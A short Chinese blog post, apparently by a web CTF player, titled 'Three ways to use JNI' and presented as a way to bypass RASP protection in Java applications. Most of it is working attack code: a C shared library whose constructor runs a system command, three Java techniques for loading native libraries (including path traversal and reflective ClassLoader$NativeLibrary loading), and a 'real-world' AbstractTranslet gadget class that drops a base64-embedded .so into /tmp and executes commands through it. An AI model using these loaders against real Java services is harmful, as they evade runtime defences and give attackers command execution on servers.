JNI的三种打法

发布于 3 天前  121 次阅读


整理一下,主要可以用于绕rasp

com.sun.glass.utils.NativeLibLoader.loadLibrary

#include <stdlib.h>
__attribute__((constructor))
static void run() {
system("calc.exe");
}
gcc -shared -o calc.so calc.c
package org.example;

public class Main {
    public static void main(String[] args) {
        com.sun.glass.utils.NativeLibLoader.loadLibrary("../../../../../../../../root/learnjava/JNI/cfile/calc");
    }
}

System.load

System.load("/root/learnjava/JNI/cfile/calc.so");

java.lang.ClassLoader$NativeLibrary#load

String LIB_PATH = "/root/learnjava/JNI/cfile/evil.so";
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class,boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false,true); 
EvilClass.execCmd("calc.exe");
实战中的打法
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilClass_real extends AbstractTranslet {
    public EvilClass_real() {
    }

    public static native String execCmd(String var0);

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }
}
javac -h . EvilClass_real.java
gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o evil_real.so EvilClass_real.c

加载这个class即可

 package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;

public class EvilClass_real extends AbstractTranslet {
    public static void main(String args[]){

    }

    public static native String execCmd(String cmd);
    //恶意动态链接库文件的base64编码
    private static final String EVIL_JNI_BASE64 = "f0VMR....";// so文件的base64
    private static final String LIB_PATH = "/tmp/evil_real.so";

    static {
        try {
            byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jniBytes);
            randomAccessFile.close();

            //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
            ClassLoader cmdLoader = EvilClass_real.class.getClassLoader();
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class,boolean.class);
            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);
            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass_real.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false,true);
            EvilClass_real.execCmd("calc.exe");

        } catch (Exception hi) {
            hi.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
A web ctfer from 0RAYS
最后更新于 2025-12-25